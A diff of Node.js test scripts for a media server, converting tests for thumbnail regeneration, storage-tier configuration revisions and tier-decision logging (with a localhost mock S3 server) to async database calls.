-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), MEDIA_INVARIANT_SCAN_HOURS: '0',
-});
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-thumbfail-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), MEDIA_INVARIANT_SCAN_HOURS: '0',
+ });
-const db = require('../server/db/database');
-const queue = require('../server/jobs/queue');
-db.upsertApp({ app_id: 'live', api_key: 'live-key-thumbfail' });
+ const db = require('../server/db/database');
+ const queue = require('../server/jobs/queue');
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key-thumbfail' });
-const V = process.env.VOD_PATH;
-const insVod = (file, health) => Number(db.run(`INSERT INTO vods (app_id, title, file_path, file_size, is_public, visibility, health_status)
- VALUES ('live', 't', ?, 0, 1, 'public', ?)`, [file, health]).lastInsertRowid);
-fs.writeFileSync(path.join(V, 'zero-marked.mp4'), '');
-fs.writeFileSync(path.join(V, 'zero-unscanned.mp4'), '');
-const marked = insVod(path.join(V, 'zero-marked.mp4'), 'zero_byte'); // as on production
-const unscanned = insVod(path.join(V, 'zero-unscanned.mp4'), 'unknown'); // empty, not scanned yet
-const missing = insVod(path.join(V, 'gone.mp4'), 'ok'); // no file, not offloaded
+ const V = process.env.VOD_PATH;
+ const insVod = async (file, health) => Number((await db.run(`INSERT INTO vods (app_id, title, file_path, file_size, is_public, visibility, health_status)
+ VALUES ('live', 't', ?, 0, 1, 'public', ?) RETURNING id`, [file, health])).lastInsertRowid);
+ fs.writeFileSync(path.join(V, 'zero-marked.mp4'), '');
+ fs.writeFileSync(path.join(V, 'zero-unscanned.mp4'), '');
+ const marked = await insVod(path.join(V, 'zero-marked.mp4'), 'zero_byte'); // as on production
+ const unscanned = await insVod(path.join(V, 'zero-unscanned.mp4'), 'unknown'); // empty, not scanned yet
+ const missing = await insVod(path.join(V, 'gone.mp4'), 'ok'); // no file, not offloaded
-const app = express();
-app.use(express.json());
-app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));
-const server = app.listen(0, '127.0.0.1');
-const post = (p) => new Promise((resolve, reject) => {
- const req = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method: 'POST', headers: { Authorization: 'Bearer live-key-thumbfail', 'Content-Length': 0 } },
- (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });
- req.on('error', reject);
- req.end();
-});
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));
+ const server = app.listen(0, '127.0.0.1');
+ const post = (p) => new Promise((resolve, reject) => {
+ const req = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method: 'POST', headers: { Authorization: 'Bearer live-key-thumbfail', 'Content-Length': 0 } },
+ (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });
+ req.on('error', reject);
+ req.end();
+ });
-(async () => {
- await new Promise((r) => (server.listening ? r() : server.once('listening', r)));
- for (const id of [marked, unscanned, missing]) {
- const t0 = Date.now();
- const r = await post(`/api/v1/live/thumbnails/vod/${id}`);
- assert.strictEqual(r.status, 404, `vod ${id}: ${JSON.stringify(r.body)}`);
- assert.strictEqual(r.body.error, 'Media file unavailable');
- const job = queue.get(r.body.job_id);
- assert.deepStrictEqual([job.status, job.error_code, job.attempts], ['failed', 'media_unavailable', 1], `vod ${id}`);
- assert.ok(Date.now() - t0 < 5000, 'refused before any ffmpeg run');
- }
- assert.ok(/empty \(0 bytes\)/.test(queue.list('live', { type: 'thumbnail.regenerate' }).jobs.find(j => JSON.parse(j.params).id === marked).error));
- assert.strictEqual(db.all("SELECT COUNT(*) AS n FROM media_jobs WHERE error_code = 'generate_failed'")[0].n, 0, 'none of them is a generate failure any more');
- server.close();
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('✅ thumbnail.regenerate on an empty or missing recording: media_unavailable at once, 404 from the v1 route');
- process.exit(0);
-})().catch((err) => { console.error(err); server.close(); process.exit(1); });
+ (async () => {
+ await new Promise((r) => (server.listening ? r() : server.once('listening', r)));
+ for (const id of [marked, unscanned, missing]) {
+ const t0 = Date.now();
+ const r = await post(`/api/v1/live/thumbnails/vod/${id}`);
+ assert.strictEqual(r.status, 404, `vod ${id}: ${JSON.stringify(r.body)}`);
+ assert.strictEqual(r.body.error, 'Media file unavailable');
+ const job = await queue.get(r.body.job_id);
+ assert.deepStrictEqual([job.status, job.error_code, job.attempts], ['failed', 'media_unavailable', 1], `vod ${id}`);
+ assert.ok(Date.now() - t0 < 5000, 'refused before any ffmpeg run');
+ }
+ assert.ok(/empty \(0 bytes\)/.test((await queue.list('live', { type: 'thumbnail.regenerate' })).jobs.find(j => JSON.parse(j.params).id === marked).error));
+ assert.strictEqual((await db.all("SELECT COUNT(*) AS n FROM media_jobs WHERE error_code = 'generate_failed'"))[0].n, 0, 'none of them is a generate failure any more');
+ server.close();
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('✅ thumbnail.regenerate on an empty or missing recording: media_unavailable at once, 404 from the v1 route');
+ process.exit(0);
+ })().catch((err) => { console.error(err); server.close(); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -8,82 +8,88 @@ const assert = require('assert');
@@ -8,82 +8,88 @@ const assert = require('assert');
const fs = require('fs');
const fs = require('fs');
const os = require('os');
const os = require('os');
const path = require('path');
const path = require('path');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tiercfg-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
-});
-
(async () => {
(async () => {
- const db = require('../server/db/database');
- db.upsertApp({ app_id: 'live', api_key: 'live-key-tiercfg' });
- // An operator had overridden one threshold before this release.
- db.run("INSERT INTO media_settings (key, value) VALUES ('storage_tier.minAgeDays', '10')");
- const storage = require('../server/vod/vod-storage');
- const row = (k) => { const r = db.get('SELECT value FROM media_settings WHERE key = ?', [`storage_tier.${k}`]); return r ? JSON.parse(r.value) : undefined; };
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tiercfg-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
+ });
+
+ (async () => {
+ const db = require('../server/db/database');
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key-tiercfg' });
+ // An operator had overridden one threshold before this release.
+ await db.run("INSERT INTO media_settings (key, value) VALUES ('storage_tier.minAgeDays', '10')");
+ const storage = require('../server/vod/vod-storage');
+ // The revisioned tier policies load once the database is open (server/index.js does this at boot).
+ await storage.tierConfig.init(storage.DEFAULTS);
+ await require('../server/objects/tier-policy').init();
+ const row = async (k) => { const r = await db.get('SELECT value FROM media_settings WHERE key = ?', [`storage_tier.${k}`]); return r ? JSON.parse(r.value) : undefined; };
- // ── Revision 1: exactly what media_settings held ──
- assert.strictEqual(storage.getSettings().minAgeDays, 10, 'the override carries over');
- assert.strictEqual(storage.getSettings().maxViewsForCold, storage.DEFAULTS.maxViewsForCold, 'everything else is its default');
- const cfg = storage.tierConfig.get(storage.DEFAULTS);
- assert.strictEqual(cfg.revision(), 1);
- assert.deepStrictEqual(cfg.snapshot(1).values, { minAgeDays: 10 });
+ // ── Revision 1: exactly what media_settings held ──
+ assert.strictEqual(storage.getSettings().minAgeDays, 10, 'the override carries over');
+ assert.strictEqual(storage.getSettings().maxViewsForCold, storage.DEFAULTS.maxViewsForCold, 'everything else is its default');
+ const cfg = storage.tierConfig.get(storage.DEFAULTS);
+ assert.strictEqual(cfg.revision(), 1);
+ assert.deepStrictEqual((await cfg.snapshot(1)).values, { minAgeDays: 10 });
- const express = require('express');
- const app = express();
- app.use(express.json());
- app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));
- const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });
- const call = async (method, p, body) => {
- const res = await fetch(`http://127.0.0.1:${server.address().port}${p}`, { method, headers: { authorization: 'Bearer live-key-tiercfg', 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) });
- return { status: res.status, body: await res.json().catch(() => null) };
- };
+ const express = require('express');
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));
+ const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });
+ const call = async (method, p, body) => {
+ const res = await fetch(`http://127.0.0.1:${server.address().port}${p}`, { method, headers: { authorization: 'Bearer live-key-tiercfg', 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) });
+ return { status: res.status, body: await res.json().catch(() => null) };
+ };
- // ── PUT /tiers/settings: one validated revision, merged, recorded with the app and the reason ──
- let r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { r2MinViews: '30', r2Enabled: 'false', reason: 'fewer promotions' });
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- assert.strictEqual(r.body.revision, 2);
- assert.deepStrictEqual([r.body.settings.r2MinViews, r.body.settings.r2Enabled, r.body.settings.minAgeDays], [30, false, 10], 'coerced, and merged over the active revision');
- assert.deepStrictEqual([row('r2MinViews'), row('r2Enabled'), row('minAgeDays'), row('maxViewsForCold')], [30, false, 10, undefined], 'media_settings mirrors the revision (defaults stay rowless)');
+ // ── PUT /tiers/settings: one validated revision, merged, recorded with the app and the reason ──
+ let r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { r2MinViews: '30', r2Enabled: 'false', reason: 'fewer promotions' });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ assert.strictEqual(r.body.revision, 2);
+ assert.deepStrictEqual([r.body.settings.r2MinViews, r.body.settings.r2Enabled, r.body.settings.minAgeDays], [30, false, 10], 'coerced, and merged over the active revision');
+ assert.deepStrictEqual([await row('r2MinViews'), await row('r2Enabled'), await row('minAgeDays'), await row('maxViewsForCold')], [30, false, 10, undefined], 'media_settings mirrors the revision (defaults stay rowless)');
- // A change that breaks a rule across thresholds is refused whole, and nothing changes.
- r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { localLowWaterPct: 80, r2MinViews: 40 });
- assert.strictEqual(r.status, 422, JSON.stringify(r.body));
- assert.strictEqual(r.body.code, 'config.invalid');
- assert.ok(JSON.stringify(r.body.errors).includes('localLowWaterPct must be below hotDiskPressurePct'), JSON.stringify(r.body.errors));
- assert.deepStrictEqual([cfg.revision(), storage.getSettings().r2MinViews, row('r2MinViews')], [2, 30, 30]);
- r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { hotDiskPressurePct: 150 });
- assert.strictEqual(r.status, 422, 'a percentage above 100');
- r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', {});
- assert.strictEqual(r.status, 400, 'nothing to change');
+ // A change that breaks a rule across thresholds is refused whole, and nothing changes.
+ r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { localLowWaterPct: 80, r2MinViews: 40 });
+ assert.strictEqual(r.status, 422, JSON.stringify(r.body));
+ assert.strictEqual(r.body.code, 'config.invalid');
+ assert.ok(JSON.stringify(r.body.errors).includes('localLowWaterPct must be below hotDiskPressurePct'), JSON.stringify(r.body.errors));
+ assert.deepStrictEqual([cfg.revision(), storage.getSettings().r2MinViews, await row('r2MinViews')], [2, 30, 30]);
+ r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { hotDiskPressurePct: 150 });
+ assert.strictEqual(r.status, 422, 'a percentage above 100');
+ r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', {});
+ assert.strictEqual(r.status, 400, 'nothing to change');
- // The policy endpoint says where each threshold comes from.
- r = await call('GET', '/api/v1/live/admin/storage/tiers/policy');
- assert.deepStrictEqual(r.body.r2.thresholds.r2MinViews, { value: 30, default: storage.DEFAULTS.r2MinViews, source: 'setting' });
- assert.strictEqual(r.body.r2.thresholds.r2MaxIdleDays.source, 'default');
+ // The policy endpoint says where each threshold comes from.
+ r = await call('GET', '/api/v1/live/admin/storage/tiers/policy');
+ assert.deepStrictEqual(r.body.r2.thresholds.r2MinViews, { value: 30, default: storage.DEFAULTS.r2MinViews, source: 'setting' });
+ assert.strictEqual(r.body.r2.thresholds.r2MaxIdleDays.source, 'default');
- // ── The configuration model's routes: list, history, rollback ──
- r = await call('GET', '/api/v1/live/admin/storage/config');
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- const ns = r.body.namespaces.find((n) => n.namespace === 'media.storage_tier');
- assert.deepStrictEqual([ns.revision, ns.last_known_good && ns.last_known_good.revision], [2, 2]);
- r = await call('GET', '/api/v1/live/admin/storage/config/media.storage_tier/history');
- assert.deepStrictEqual(r.body.snapshots.map((x) => [x.revision, x.state]), [[2, 'active'], [1, 'superseded']]);
- assert.deepStrictEqual(r.body.snapshots[0].created_by, { type: 'service', id: 'live' });
- assert.strictEqual(r.body.snapshots[0].reason, 'fewer promotions');
- r = await call('POST', '/api/v1/live/admin/storage/config/media.storage_tier/rollback', { reason: 'back to what it was' });
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- assert.strictEqual(r.body.revision, 3);
- assert.deepStrictEqual([storage.getSettings().r2MinViews, storage.getSettings().r2Enabled, storage.getSettings().minAgeDays], [storage.DEFAULTS.r2MinViews, true, 10], 'revision 1 again, as a new revision');
- assert.deepStrictEqual([row('r2MinViews'), row('r2Enabled'), row('minAgeDays')], [undefined, undefined, 10], 'and media_settings with it');
- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/config/other.namespace')).status, 404);
+ // ── The configuration model's routes: list, history, rollback ──
+ r = await call('GET', '/api/v1/live/admin/storage/config');
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ const ns = r.body.namespaces.find((n) => n.namespace === 'media.storage_tier');
+ assert.deepStrictEqual([ns.revision, ns.last_known_good && ns.last_known_good.revision], [2, 2]);
+ r = await call('GET', '/api/v1/live/admin/storage/config/media.storage_tier/history');
+ assert.deepStrictEqual(r.body.snapshots.map((x) => [x.revision, x.state]), [[2, 'active'], [1, 'superseded']]);
+ assert.deepStrictEqual(r.body.snapshots[0].created_by, { type: 'service', id: 'live' });
+ assert.strictEqual(r.body.snapshots[0].reason, 'fewer promotions');
+ r = await call('POST', '/api/v1/live/admin/storage/config/media.storage_tier/rollback', { reason: 'back to what it was' });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ assert.strictEqual(r.body.revision, 3);
+ assert.deepStrictEqual([storage.getSettings().r2MinViews, storage.getSettings().r2Enabled, storage.getSettings().minAgeDays], [storage.DEFAULTS.r2MinViews, true, 10], 'revision 1 again, as a new revision');
+ assert.deepStrictEqual([await row('r2MinViews'), await row('r2Enabled'), await row('minAgeDays')], [undefined, undefined, 10], 'and media_settings with it');
+ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/config/other.namespace')).status, 404);
- // ── A restart reads the same active revision ──
- storage.tierConfig._reset();
- assert.deepStrictEqual([storage.tierConfig.get(storage.DEFAULTS).revision(), storage.getSettings().minAgeDays], [3, 10]);
+ // ── A restart reads the same active revision ──
+ storage.tierConfig._reset();
+ await storage.tierConfig.init(storage.DEFAULTS);
+ assert.deepStrictEqual([storage.tierConfig.get(storage.DEFAULTS).revision(), storage.getSettings().minAgeDays], [3, 10]);
- server.close();
- console.log('tier config: all checks passed');
- process.exit(0);
+ server.close();
+ console.log('tier config: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -12,179 +12,184 @@ const path = require('path');
@@ -12,179 +12,184 @@ const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tierlog-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tierlog-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };
-let refusePutTo = null;
-function decodeAwsChunked(buf) {
- const out = [];
- let i = 0;
- for (;;) {
- const nl = buf.indexOf('\r\n', i);
- const size = parseInt(buf.subarray(i, nl).toString().split(';')[0], 16);
- if (!size) break;
- out.push(buf.subarray(nl + 2, nl + 2 + size));
- i = nl + 2 + size + 2;
- }
- return Buffer.concat(out);
-}
-const s3 = http.createServer((req, res) => {
- const chunks = [];
- req.on('data', (c) => chunks.push(c));
- req.on('end', () => {
- const u = new URL(req.url, 'http://x');
- const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');
- const key = rest.join('/');
- const store = buckets[bucket];
- if (!store) { res.writeHead(404); return res.end(); }
- if (!key && req.method === 'HEAD') { res.writeHead(200); return res.end(); }
- const obj = store.get(key);
- if (req.method === 'HEAD' || req.method === 'GET') {
- if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }
- res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"', 'Content-Type': 'video/webm' });
- return res.end(req.method === 'GET' ? obj : undefined);
+ const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };
+ let refusePutTo = null;
+ function decodeAwsChunked(buf) {
+ const out = [];
+ let i = 0;
+ for (;;) {
+ const nl = buf.indexOf('\r\n', i);
+ const size = parseInt(buf.subarray(i, nl).toString().split(';')[0], 16);
+ if (!size) break;
+ out.push(buf.subarray(nl + 2, nl + 2 + size));
+ i = nl + 2 + size + 2;
}
}
- if (req.method === 'PUT') {
- if (refusePutTo === bucket) { res.writeHead(500, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>InternalError</Code></Error>'); }
- let body = Buffer.concat(chunks);
- if (req.headers['x-amz-decoded-content-length'] || /aws-chunked/.test(req.headers['content-encoding'] || '')) body = decodeAwsChunked(body);
- store.set(key, body);
- res.writeHead(200, { ETag: '"e"' });
- return res.end();
- }
- if (req.method === 'DELETE') { store.delete(key); res.writeHead(204); return res.end(); }
- res.writeHead(405); res.end();
+ return Buffer.concat(out);
+ }
+ const s3 = http.createServer((req, res) => {
+ const chunks = [];
+ req.on('data', (c) => chunks.push(c));
+ req.on('end', () => {
+ const u = new URL(req.url, 'http://x');
+ const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');
+ const key = rest.join('/');
+ const store = buckets[bucket];
+ if (!store) { res.writeHead(404); return res.end(); }
+ if (!key && req.method === 'HEAD') { res.writeHead(200); return res.end(); }
+ const obj = store.get(key);
+ if (req.method === 'HEAD' || req.method === 'GET') {
+ if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }
+ res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"', 'Content-Type': 'video/webm' });
+ return res.end(req.method === 'GET' ? obj : undefined);
+ }
+ if (req.method === 'PUT') {
+ if (refusePutTo === bucket) { res.writeHead(500, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>InternalError</Code></Error>'); }
+ let body = Buffer.concat(chunks);
+ if (req.headers['x-amz-decoded-content-length'] || /aws-chunked/.test(req.headers['content-encoding'] || '')) body = decodeAwsChunked(body);
+ store.set(key, body);
+ res.writeHead(200, { ETag: '"e"' });
+ return res.end();
+ }
+ if (req.method === 'DELETE') { store.delete(key); res.writeHead(204); return res.end(); }
+ res.writeHead(405); res.end();
+ });
});
});
-});
-(async () => {
- await new Promise((r) => s3.listen(0, '127.0.0.1', r));
- const endpoint = `http://127.0.0.1:${s3.address().port}`;
- Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
- MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',
- MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',
- AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',
- });
- const db = require('../server/db/database');
- const model = require('../server/objects/model');
- const storage = require('../server/vod/vod-storage');
- db.upsertApp({ app_id: 'live', api_key: 'live-key-tierlog' });
- db.upsertApp({ app_id: 'games', api_key: 'games-key-tierlog' });
+ (async () => {
+ await new Promise((r) => s3.listen(0, '127.0.0.1', r));
+ const endpoint = `http://127.0.0.1:${s3.address().port}`;
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
+ MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',
+ MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',
+ AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',
+ });
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const storage = require('../server/vod/vod-storage');
+ // The revisioned tier policies load once the database is open (server/index.js does this at boot).
+ await storage.tierConfig.init(storage.DEFAULTS);
+ await require('../server/objects/tier-policy').init();
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key-tierlog' });
+ await db.upsertApp({ app_id: 'games', api_key: 'games-key-tierlog' });
- // The thresholds are not changed by this work.
- assert.deepStrictEqual([storage.DEFAULTS.r2Enabled, storage.DEFAULTS.r2MinViews, storage.DEFAULTS.r2RecentAccessDays, storage.DEFAULTS.r2MaxIdleDays, storage.DEFAULTS.r2MaxPerSweep],
- [true, 20, 3, 14, 5]);
- // Keep the sweep's disk-pressure drain out of this test (whatever this machine's disk looks like).
- // One validated revision of media.storage_tier (percentages are 1–100: at 100 the drain never starts).
- await storage.setSettings({ hotDiskPressurePct: 100, criticalDiskPct: 100, minFreeGb: 0 }, { reason: 'test: no pressure drain' });
+ // The thresholds are not changed by this work.
+ assert.deepStrictEqual([storage.DEFAULTS.r2Enabled, storage.DEFAULTS.r2MinViews, storage.DEFAULTS.r2RecentAccessDays, storage.DEFAULTS.r2MaxIdleDays, storage.DEFAULTS.r2MaxPerSweep],
+ [true, 20, 3, 14, 5]);
+ // Keep the sweep's disk-pressure drain out of this test (whatever this machine's disk looks like).
+ // One validated revision of media.storage_tier (percentages are 1–100: at 100 the drain never starts).
+ await storage.setSettings({ hotDiskPressurePct: 100, criticalDiskPct: 100, minFreeGb: 0 }, { reason: 'test: no pressure drain' });
- const bytes = crypto.randomBytes(200000);
- const addVod = (id, { app = 'live', provider = 'local', views = 0, accessed = null } = {}) => {
- const name = `vod-${app}-${id}-1726900000000.webm`;
- const key = `vods/${name}`;
- if (provider === 'local') fs.writeFileSync(path.join(process.env.VOD_PATH, name), bytes);
- else { buckets['b2-bucket'].set(key, bytes); if (provider === 'r2') buckets['r2-bucket'].set(key, bytes); }
- db.run(`INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, storage_provider, storage_key, view_count, last_accessed_at, created_at)
- VALUES (?, ?, 't', ?, ?, 1, 'public', 60, ?, ?, ?, ${accessed ? `datetime('now', '${accessed}')` : 'NULL'}, datetime('now'))`,
- [id, app, path.join(process.env.VOD_PATH, name), bytes.length, provider, provider === 'local' ? null : key, views]);
- model.sync('vod', id);
- return key;
- };
- const decisions = (vodId) => db.all('SELECT * FROM media_tier_decisions WHERE vod_id = ? ORDER BY id', [vodId]);
+ const bytes = crypto.randomBytes(200000);
+ const addVod = async (id, { app = 'live', provider = 'local', views = 0, accessed = null } = {}) => {
+ const name = `vod-${app}-${id}-1726900000000.webm`;
+ const key = `vods/${name}`;
+ if (provider === 'local') fs.writeFileSync(path.join(process.env.VOD_PATH, name), bytes);
+ else { buckets['b2-bucket'].set(key, bytes); if (provider === 'r2') buckets['r2-bucket'].set(key, bytes); }
+ await db.run(`INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, storage_provider, storage_key, view_count, last_accessed_at, created_at) OVERRIDING SYSTEM VALUE
+ VALUES (?, ?, 't', ?, ?, 1, 'public', 60, ?, ?, ?, ${accessed ? `datetime('now', '${accessed}')` : 'NULL'}, datetime('now')) RETURNING id`,
+ [id, app, path.join(process.env.VOD_PATH, name), bytes.length, provider, provider === 'local' ? null : key, views]);
+ await model.sync('vod', id);
+ return key;
+ };
+ const decisions = async (vodId) => await db.all('SELECT * FROM media_tier_decisions WHERE vod_id = ? ORDER BY id', [vodId]);
- // ── 1. The sweep: a popular VOD is promoted, an idle R2 VOD demoted, each with its reason ──
- addVod(1, { views: 25, accessed: '-1 hours' });
- addVod(2, { provider: 'r2', views: 3, accessed: '-30 days' });
- addVod(3, { views: 5, accessed: '-1 hours' }); // below the threshold: no decision
- const sweep = await storage.runSweep();
- assert.deepStrictEqual([sweep.promoted, sweep.demoted], [1, 1], JSON.stringify(sweep));
- const [p] = decisions(1);
- assert.deepStrictEqual([p.action, p.from_provider, p.to_provider, p.outcome, p.trigger], ['promote', 'local', 'r2', 'done', 'sweep']);
- assert.ok(/view_count 25 >= r2MinViews 20/.test(p.reason) && /r2RecentAccessDays 3/.test(p.reason), p.reason);
- const pin = JSON.parse(p.inputs);
- assert.deepStrictEqual([pin.view_count, pin.storage_provider, pin.is_recording, pin.held], [25, 'local', false, false]);
- assert.deepStrictEqual(JSON.parse(p.thresholds).r2MinViews, { value: 20, source: 'default' });
- const [d] = decisions(2);
- assert.deepStrictEqual([d.action, d.from_provider, d.to_provider, d.outcome, d.trigger], ['demote', 'r2', 'b2', 'done', 'sweep']);
- assert.ok(/idle longer than r2MaxIdleDays 14/.test(d.reason), d.reason);
- assert.strictEqual(decisions(3).length, 0);
- console.log('✅ sweep promotions and demotions are logged with inputs, thresholds (and their source) and the reason');
+ // ── 1. The sweep: a popular VOD is promoted, an idle R2 VOD demoted, each with its reason ──
+ await addVod(1, { views: 25, accessed: '-1 hours' });
+ await addVod(2, { provider: 'r2', views: 3, accessed: '-30 days' });
+ await addVod(3, { views: 5, accessed: '-1 hours' }); // below the threshold: no decision
+ const sweep = await storage.runSweep();
+ assert.deepStrictEqual([sweep.promoted, sweep.demoted], [1, 1], JSON.stringify(sweep));
+ const [p] = await decisions(1);
+ assert.deepStrictEqual([p.action, p.from_provider, p.to_provider, p.outcome, p.trigger], ['promote', 'local', 'r2', 'done', 'sweep']);
+ assert.ok(/view_count 25 >= r2MinViews 20/.test(p.reason) && /r2RecentAccessDays 3/.test(p.reason), p.reason);
+ const pin = JSON.parse(p.inputs);
+ assert.deepStrictEqual([pin.view_count, pin.storage_provider, pin.is_recording, pin.held], [25, 'local', false, false]);
+ assert.deepStrictEqual(JSON.parse(p.thresholds).r2MinViews, { value: 20, source: 'default' });
+ const [d] = await decisions(2);
+ assert.deepStrictEqual([d.action, d.from_provider, d.to_provider, d.outcome, d.trigger], ['demote', 'r2', 'b2', 'done', 'sweep']);
+ assert.ok(/idle longer than r2MaxIdleDays 14/.test(d.reason), d.reason);
+ assert.strictEqual((await decisions(3)).length, 0);
+ console.log('✅ sweep promotions and demotions are logged with inputs, thresholds (and their source) and the reason');
- // ── 2. Every other path and outcome: admin move (refused: held; failed: R2 down), clip hot-fetch, drill ──
- const express = require('express');
- const app = express();
- app.use(express.json());
- app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));
- const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });
